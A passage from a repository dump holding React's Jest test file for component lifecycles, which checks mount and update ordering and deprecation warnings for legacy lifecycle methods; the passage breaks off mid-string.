});\n\n    it('deduplicates function type warnings based on component type', async () => {\n      class Foo extends React.PureComponent {\n        constructor() {\n          super();\n          this.state = {type: 'mushrooms'};\n        }\n        render() {\n          return (\n            <div>\n              {Foo}\n              {Foo}\n              <span>\n                {Foo}\n                {Foo}\n              </span>\n            </div>\n          );\n        }\n      }\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      let component;\n      await act(() => {\n        root.render(<Foo ref={current => (component = current)} />);\n      });\n      assertConsoleErrorDev([\n        'Functions are not valid as a React child. This may happen if ' +\n          'you return Foo instead of <Foo /> from render. ' +\n          'Or maybe you meant to call this function rather than return it.\\n' +\n          '  <div>{Foo}</div>\\n' +\n          '    in div (at **)\\n' +\n          '    in Foo (at **)',\n        'Functions are not valid as a React child. This may happen if ' +\n          'you return Foo instead of <Foo /> from render. ' +\n          'Or maybe you meant to call this function rather than return it.\\n' +\n          '  <span>{Foo}</span>\\n' +\n          '    in span (at **)\\n' +\n          '    in Foo (at **)',\n      ]);\n      await act(() => {\n        component.setState({type: 'portobello mushrooms'});\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactComponentLifeCycle-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet act;\n\nlet React;\nlet ReactDOMClient;\nlet assertConsoleErrorDev;\nlet assertConsoleWarnDev;\n\nconst clone = function (o) {\n  return JSON.parse(JSON.stringify(o));\n};\n\nconst GET_INIT_STATE_RETURN_VAL = {\n  hasWillMountCompleted: false,\n  hasRenderCompleted: false,\n  hasDidMountCompleted: false,\n  hasWillUnmountCompleted: false,\n};\n\nconst INIT_RENDER_STATE = {\n  hasWillMountCompleted: true,\n  hasRenderCompleted: false,\n  hasDidMountCompleted: false,\n  hasWillUnmountCompleted: false,\n};\n\nconst DID_MOUNT_STATE = {\n  hasWillMountCompleted: true,\n  hasRenderCompleted: true,\n  hasDidMountCompleted: false,\n  hasWillUnmountCompleted: false,\n};\n\nconst NEXT_RENDER_STATE = {\n  hasWillMountCompleted: true,\n  hasRenderCompleted: true,\n  hasDidMountCompleted: true,\n  hasWillUnmountCompleted: false,\n};\n\nconst WILL_UNMOUNT_STATE = {\n  hasWillMountCompleted: true,\n  hasDidMountCompleted: true,\n  hasRenderCompleted: true,\n  hasWillUnmountCompleted: false,\n};\n\nconst POST_WILL_UNMOUNT_STATE = {\n  hasWillMountCompleted: true,\n  hasDidMountCompleted: true,\n  hasRenderCompleted: true,\n  hasWillUnmountCompleted: true,\n};\n\n/**\n * TODO: We should make any setState calls fail in\n * `getInitialState` and `componentWillMount`. They will usually fail\n * anyways because `this._renderedComponent` is empty, however, if a component\n * is *reused*, then that won't be the case and things will appear to work in\n * some cases. Better to just block all updates in initialization.\n */\ndescribe('ReactComponentLifeCycle', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    ({\n      act,\n      assertConsoleErrorDev,\n      assertConsoleWarnDev,\n    } = require('internal-test-utils'));\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n  });\n\n  it('should not reuse an instance when it has been unmounted', async () => {\n    const container = document.createElement('div');\n\n    class StatefulComponent extends React.Component {\n      state = {};\n\n      render() {\n        return <div />;\n      }\n    }\n\n    const element = <StatefulComponent />;\n    let root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(element);\n    });\n\n    const firstInstance = container.firstChild;\n    await act(() => {\n      root.unmount();\n    });\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(element);\n    });\n\n    const secondInstance = container.firstChild;\n    expect(firstInstance).not.toBe(secondInstance);\n  });\n\n  /**\n   * If a state update triggers rerendering that in turn fires an onDOMReady,\n   * that second onDOMReady should not fail.\n   */\n  it('should fire onDOMReady when already in onDOMReady', async () => {\n    const _testJournal = [];\n\n    class Child extends React.Component {\n      componentDidMount() {\n        _testJournal.push('Child:onDOMReady');\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n\n    class SwitcherParent extends React.Component {\n      constructor(props) {\n        super(props);\n        _testJournal.push('SwitcherParent:getInitialState');\n        this.state = {showHasOnDOMReadyComponent: false};\n      }\n\n      componentDidMount() {\n        _testJournal.push('SwitcherParent:onDOMReady');\n        this.switchIt();\n      }\n\n      switchIt = () => {\n        this.setState({showHasOnDOMReadyComponent: true});\n      };\n\n      render() {\n        return (\n          <div>\n            {this.state.showHasOnDOMReadyComponent ? <Child /> : <div />}\n          </div>\n        );\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<SwitcherParent />);\n    });\n\n    expect(_testJournal).toEqual([\n      'SwitcherParent:getInitialState',\n      'SwitcherParent:onDOMReady',\n      'Child:onDOMReady',\n    ]);\n  });\n\n  // You could assign state here, but not access members of it, unless you\n  // had provided a getInitialState method.\n  it('throws when accessing state in componentWillMount', async () => {\n    class StatefulComponent extends React.Component {\n      UNSAFE_componentWillMount() {\n        void this.state.yada;\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(<StatefulComponent />);\n      }),\n    ).rejects.toThrow();\n  });\n\n  it('should allow update state inside of componentWillMount', () => {\n    class StatefulComponent extends React.Component {\n      UNSAFE_componentWillMount() {\n        this.setState({stateField: 'something'});\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n\n    expect(async function () {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<StatefulComponent />);\n      });\n    }).not.toThrow();\n  });\n\n  it(\"warns if setting 'this.state = props'\", async () => {\n    class StatefulComponent extends React.Component {\n      constructor(props, context) {\n        super(props, context);\n        this.state = props;\n      }\n      render() {\n        return <div />;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<StatefulComponent />);\n    });\n    assertConsoleErrorDev([\n      'StatefulComponent: It is not recommended to assign props directly to state ' +\n        \"because updates to props won't be reflected in state. \" +\n        'In most cases, it is better to use props directly.\\n' +\n        '    in StatefulComponent (at **)',\n    ]);\n  });\n\n  it('should not allow update state inside of getInitialState', async () => {\n    class StatefulComponent extends React.Component {\n      constructor(props, context) {\n        super(props, context);\n        this.setState({stateField: 'something'});\n\n        this.state = {stateField: 'somethingelse'};\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n\n    let container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<StatefulComponent />);\n    });\n    assertConsoleErrorDev([\n      \"Can't call setState on a component that is not yet mounted. \" +\n        'This is a no-op, but it might indicate a bug in your application. ' +\n        'Instead, assign to `this.state` directly or define a `state = {};` ' +\n        'class property with the desired state in the StatefulComponent component.\\n' +\n        '    in StatefulComponent (at **)',\n    ]);\n\n    container = document.createElement('div');\n    root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<StatefulComponent />);\n    });\n  });\n\n  it('should carry through each of the phases of setup', async () => {\n    class LifeCycleComponent extends React.Component {\n      constructor(props, context) {\n        super(props, context);\n        this._testJournal = {};\n        const initState = {\n          hasWillMountCompleted: false,\n          hasDidMountCompleted: false,\n          hasRenderCompleted: false,\n          hasWillUnmountCompleted: false,\n        };\n        this._testJournal.returnedFromGetInitialState = clone(initState);\n        this.state = initState;\n      }\n\n      UNSAFE_componentWillMount() {\n        this._testJournal.stateAtStartOfWillMount = clone(this.state);\n        this.state.hasWillMountCompleted = true;\n      }\n\n      componentDidMount() {\n        this._testJournal.stateAtStartOfDidMount = clone(this.state);\n        this.setState({hasDidMountCompleted: true});\n      }\n\n      render() {\n        const isInitialRender = !this.state.hasRenderCompleted;\n        if (isInitialRender) {\n          this._testJournal.stateInInitialRender = clone(this.state);\n        } else {\n          this._testJournal.stateInLaterRender = clone(this.state);\n        }\n        // you would *NEVER* do anything like this in real code!\n        this.state.hasRenderCompleted = true;\n        return <div ref={React.createRef()}>I am the inner DIV</div>;\n      }\n\n      componentWillUnmount() {\n        this._testJournal.stateAtStartOfWillUnmount = clone(this.state);\n        this.state.hasWillUnmountCompleted = true;\n      }\n    }\n\n    // A component that is merely \"constructed\" (as in \"constructor\") but not\n    // yet initialized, or rendered.\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n    const instanceRef = React.createRef();\n    await act(() => {\n      root.render(<LifeCycleComponent ref={instanceRef} />);\n    });\n    const instance = instanceRef.current;\n\n    // getInitialState\n    expect(instance._testJournal.returnedFromGetInitialState).toEqual(\n      GET_INIT_STATE_RETURN_VAL,\n    );\n\n    // componentWillMount\n    expect(instance._testJournal.stateAtStartOfWillMount).toEqual(\n      instance._testJournal.returnedFromGetInitialState,\n    );\n\n    // componentDidMount\n    expect(instance._testJournal.stateAtStartOfDidMount).toEqual(\n      DID_MOUNT_STATE,\n    );\n\n    // initial render\n    expect(instance._testJournal.stateInInitialRender).toEqual(\n      INIT_RENDER_STATE,\n    );\n\n    // Now *update the component*\n    instance.forceUpdate();\n\n    // render 2nd time\n    expect(instance._testJournal.stateInLaterRender).toEqual(NEXT_RENDER_STATE);\n\n    await act(() => {\n      root.unmount();\n    });\n\n    expect(instance._testJournal.stateAtStartOfWillUnmount).toEqual(\n      WILL_UNMOUNT_STATE,\n    );\n    // componentWillUnmount called right before unmount.\n\n    // But the current lifecycle of the component is unmounted.\n    expect(instance.state).toEqual(POST_WILL_UNMOUNT_STATE);\n  });\n\n  it('should not throw when updating an auxiliary component', async () => {\n    class Tooltip extends React.Component {\n      render() {\n        return <div>{this.props.children}</div>;\n      }\n\n      componentDidMount() {\n        const container = document.createElement('div');\n        this.root = ReactDOMClient.createRoot(container);\n        this.updateTooltip();\n      }\n\n      componentDidUpdate() {\n        this.updateTooltip();\n      }\n\n      updateTooltip = () => {\n        // Even though this.props.tooltip has an owner, updating it shouldn't\n        // throw here because it's mounted as a root component\n        this.root.render(this.props.tooltip, this.container);\n      };\n    }\n\n    class Component extends React.Component {\n      render() {\n        return (\n          <Tooltip\n            ref={React.createRef()}\n            tooltip={<div>{this.props.tooltipText}</div>}>\n            {this.props.text}\n          </Tooltip>\n        );\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Component text=\"uno\" tooltipText=\"one\" />);\n    });\n\n    // Since `instance` is a root component, we can set its props. This also\n    // makes Tooltip rerender the tooltip component, which shouldn't throw.\n    await act(() => {\n      root.render(<Component text=\"dos\" tooltipText=\"two\" />);\n    });\n  });\n\n  it('should allow state updates in componentDidMount', async () => {\n    /**\n     * calls setState in an componentDidMount.\n     */\n    class SetStateInComponentDidMount extends React.Component {\n      state = {\n        stateField: this.props.valueToUseInitially,\n      };\n\n      componentDidMount() {\n        this.setState({stateField: this.props.valueToUseInOnDOMReady});\n      }\n\n      render() {\n        return <div />;\n      }\n    }\n\n    let instance;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <SetStateInComponentDidMount\n          ref={current => (instance = current)}\n          valueToUseInitially=\"hello\"\n          valueToUseInOnDOMReady=\"goodbye\"\n        />,\n      );\n    });\n\n    expect(instance.state.stateField).toBe('goodbye');\n  });\n\n  it('should call nested legacy lifecycle methods in the right order', async () => {\n    let log;\n    const logger = function (msg) {\n      return function () {\n        // return true for shouldComponentUpdate\n        log.push(msg);\n        return true;\n      };\n    };\n    class Outer extends React.Component {\n      UNSAFE_componentWillMount = logger('outer componentWillMount');\n      componentDidMount = logger('outer componentDidMount');\n      UNSAFE_componentWillReceiveProps = logger(\n        'outer componentWillReceiveProps',\n      );\n      shouldComponentUpdate = logger('outer shouldComponentUpdate');\n      UNSAFE_componentWillUpdate = logger('outer componentWillUpdate');\n      componentDidUpdate = logger('outer componentDidUpdate');\n      componentWillUnmount = logger('outer componentWillUnmount');\n      render() {\n        return (\n          <div>\n            <Inner x={this.props.x} />\n          </div>\n        );\n      }\n    }\n\n    class Inner extends React.Component {\n      UNSAFE_componentWillMount = logger('inner componentWillMount');\n      componentDidMount = logger('inner componentDidMount');\n      UNSAFE_componentWillReceiveProps = logger(\n        'inner componentWillReceiveProps',\n      );\n      shouldComponentUpdate = logger('inner shouldComponentUpdate');\n      UNSAFE_componentWillUpdate = logger('inner componentWillUpdate');\n      componentDidUpdate = logger('inner componentDidUpdate');\n      componentWillUnmount = logger('inner componentWillUnmount');\n      render() {\n        return <span>{this.props.x}</span>;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    log = [];\n    await act(() => {\n      root.render(<Outer x={1} />);\n    });\n    expect(log).toEqual([\n      'outer componentWillMount',\n      'inner componentWillMount',\n      'inner componentDidMount',\n      'outer componentDidMount',\n    ]);\n\n    // Dedup warnings\n    log = [];\n    await act(() => {\n      root.render(<Outer x={2} />);\n    });\n    expect(log).toEqual([\n      'outer componentWillReceiveProps',\n      'outer shouldComponentUpdate',\n      'outer componentWillUpdate',\n      'inner componentWillReceiveProps',\n      'inner shouldComponentUpdate',\n      'inner componentWillUpdate',\n      'inner componentDidUpdate',\n      'outer componentDidUpdate',\n    ]);\n\n    log = [];\n    await act(() => {\n      root.unmount();\n    });\n    expect(log).toEqual([\n      'outer componentWillUnmount',\n      'inner componentWillUnmount',\n    ]);\n  });\n\n  it('should call nested new lifecycle methods in the right order', async () => {\n    let log;\n    const logger = function (msg) {\n      return function () {\n        // return true for shouldComponentUpdate\n        log.push(msg);\n        return true;\n      };\n    };\n    class Outer extends React.Component {\n      state = {};\n      static getDerivedStateFromProps(props, prevState) {\n        log.push('outer getDerivedStateFromProps');\n        return null;\n      }\n      componentDidMount = logger('outer componentDidMount');\n      shouldComponentUpdate = logger('outer shouldComponentUpdate');\n      getSnapshotBeforeUpdate = logger('outer getSnapshotBeforeUpdate');\n      componentDidUpdate = logger('outer componentDidUpdate');\n      componentWillUnmount = logger('outer componentWillUnmount');\n      render() {\n        return (\n          <div>\n            <Inner x={this.props.x} />\n          </div>\n        );\n      }\n    }\n\n    class Inner extends React.Component {\n      state = {};\n      static getDerivedStateFromProps(props, prevState) {\n        log.push('inner getDerivedStateFromProps');\n        return null;\n      }\n      componentDidMount = logger('inner componentDidMount');\n      shouldComponentUpdate = logger('inner shouldComponentUpdate');\n      getSnapshotBeforeUpdate = logger('inner getSnapshotBeforeUpdate');\n      componentDidUpdate = logger('inner componentDidUpdate');\n      componentWillUnmount = logger('inner componentWillUnmount');\n      render() {\n        return <span>{this.props.x}</span>;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n    log = [];\n    await act(() => {\n      root.render(<Outer x={1} />);\n    });\n    expect(log).toEqual([\n      'outer getDerivedStateFromProps',\n      'inner getDerivedStateFromProps',\n      'inner componentDidMount',\n      'outer componentDidMount',\n    ]);\n\n    // Dedup warnings\n    log = [];\n    await act(() => {\n      root.render(<Outer x={2} />);\n    });\n    expect(log).toEqual([\n      'outer getDerivedStateFromProps',\n      'outer shouldComponentUpdate',\n      'inner getDerivedStateFromProps',\n      'inner shouldComponentUpdate',\n      'inner getSnapshotBeforeUpdate',\n      'outer getSnapshotBeforeUpdate',\n      'inner componentDidUpdate',\n      'outer componentDidUpdate',\n    ]);\n\n    log = [];\n    await act(() => {\n      root.unmount();\n    });\n    expect(log).toEqual([\n      'outer componentWillUnmount',\n      'inner componentWillUnmount',\n    ]);\n  });\n\n  it('should not invoke deprecated lifecycles (cWM/cWRP/cWU) if new static gDSFP is present', async () => {\n    class Component extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        return null;\n      }\n      componentWillMount() {\n        throw Error('unexpected');\n      }\n      componentWillReceiveProps() {\n        throw Error('unexpected');\n      }\n      componentWillUpdate() {\n        throw Error('unexpected');\n      }\n      render() {\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Component />);\n    });\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n        'Component uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\\n' +\n        '  componentWillMount\\n' +\n        '  componentWillReceiveProps\\n' +\n        '  componentWillUpdate\\n\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in Component (at **)',\n    ]);\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n' +\n        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: Component',\n      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        \"* If you're updating state whenever props change, refactor your code to use \" +\n        'memoization techniques or move it to static getDerivedStateFromProps. ' +\n        'Learn more at: https://react.dev/link/derived-state\\n' +\n        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: Component',\n      'componentWillUpdate has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: Component',\n    ]);\n  });\n\n  it('should not invoke deprecated lifecycles (cWM/cWRP/cWU) if new getSnapshotBeforeUpdate is present', async () => {\n    class Component extends React.Component {\n      state = {};\n      getSnapshotBeforeUpdate() {\n        return null;\n      }\n      componentWillMount() {\n        throw Error('unexpected');\n      }\n      componentWillReceiveProps() {\n        throw Error('unexpected');\n      }\n      componentWillUpdate() {\n        throw Error('unexpected');\n      }\n      componentDidUpdate() {}\n      render() {\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Component value={1} />);\n    });\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n        'Component uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\\n' +\n        '  componentWillMount\\n' +\n        '  componentWillReceiveProps\\n' +\n        '  componentWillUpdate\\n\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in Component (at **)',\n    ]);\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n' +\n        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: Component',\n      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        \"* If you're updating state whenever props change, refactor your code to use \" +\n        'memoization techniques or move it to static getDerivedStateFromProps. ' +\n        'Learn more at: https://react.dev/link/derived-state\\n' +\n        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: Component',\n      'componentWillUpdate has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: Component',\n    ]);\n\n    await act(() => {\n      root.render(<Component value={2} />);\n    });\n  });\n\n  it('should not invoke new unsafe lifecycles (cWM/cWRP/cWU) if static gDSFP is present', async () => {\n    class Component extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        return null;\n      }\n      UNSAFE_componentWillMount() {\n        throw Error('unexpected');\n      }\n      UNSAFE_componentWillReceiveProps() {\n        throw Error('unexpected');\n      }\n      UNSAFE_componentWillUpdate() {\n        throw Error('unexpected');\n      }\n      render() {\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Component value={1} />);\n    });\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n        'Component uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\\n' +\n        '  UNSAFE_componentWillMount\\n' +\n        '  UNSAFE_componentWillReceiveProps\\n' +\n        '  UNSAFE_componentWillUpdate\\n\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in Component (at **)',\n    ]);\n    await act(() => {\n      root.render(<Component value={2} />);\n    });\n  });\n\n  it('should warn about deprecated lifecycles (cWM/cWRP/cWU) if new static gDSFP is present', async () => {\n    class AllLegacyLifecycles extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        return null;\n      }\n      componentWillMount() {}\n      UNSAFE_componentWillReceiveProps() {}\n      componentWillUpdate() {}\n      render() {\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<AllLegacyLifecycles />);\n    });\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n        'AllLegacyLifecycles uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\\n' +\n        '  componentWillMount\\n' +\n        '  UNSAFE_componentWillReceiveProps\\n' +\n        '  componentWillUpdate\\n\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in AllLegacyLifecycles (at **)',\n    ]);\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n' +\n        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: AllLegacyLifecycles',\n      'componentWillUpdate has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: AllLegacyLifecycles',\n    ]);\n\n    class WillMount extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        return null;\n      }\n      UNSAFE_componentWillMount() {}\n      render() {\n        return null;\n      }\n    }\n\n    await act(() => {\n      root.render(<WillMount />);\n    });\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n        'WillMount uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\\n' +\n        '  UNSAFE_componentWillMount\\n\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in WillMount (at **)',\n    ]);\n\n    class WillMountAndUpdate extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        return null;\n      }\n      componentWillMount() {}\n      UNSAFE_componentWillUpdate() {}\n      render() {\n        return null;\n      }\n    }\n\n    await act(() => {\n      root.render(<WillMountAndUpdate />);\n    });\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n        'WillMountAndUpdate uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\\n' +\n        '  componentWillMount\\n' +\n        '  UNSAFE_componentWillUpdate\\n\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in WillMountAndUpdate (at **)',\n    ]);\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n' +\n        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: WillMountAndUpdate',\n    ]);\n\n    class WillReceiveProps extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        return null;\n      }\n      componentWillReceiveProps() {}\n      render() {\n        return null;\n      }\n    }\n\n    await act(() => {\n      root.render(<WillReceiveProps />);\n    });\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n        'WillReceiveProps uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\\n' +\n        '  componentWillReceiveProps\\n\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in WillReceiveProps (at **)',\n    ]);\n    assertConsoleWarnDev([\n      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        \"* If you're updating state whenever props change, refactor your code to use \" +\n        'memoization techniques or move it to static getDerivedStateFromProps. ' +\n        'Learn more at: https://react.dev/link/derived-state\\n' +\n        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: WillReceiveProps',\n    ]);\n  });\n\n  it('should warn about deprecated lifecycles (cWM/cWRP/cWU) if new getSnapshotBeforeUpdate is present', async () => {\n    class AllLegacyLifecycles extends React.Component {\n      state = {};\n      getSnapshotBeforeUpdate() {}\n      componentWillMount() {}\n      UNSAFE_componentWillReceiveProps() {}\n      componentWillUpdate() {}\n      componentDidUpdate() {}\n      render() {\n        return null;\n      }\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<AllLegacyLifecycles />);\n    });\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n        'AllLegacyLifecycles uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\\n' +\n        '  componentWillMount\\n' +\n        '  UNSAFE_componentWillReceiveProps\\n' +\n        '  componentWillUpdate\\n\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in AllLegacyLifecycles (at **)',\n    ]);\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n' +\n        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: AllLegacyLifecycles',\n      'componentWillUpdate has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. ' +\n        'In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, ' +\n        'you can run `npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n\\n' +\n        'Please update the following components: 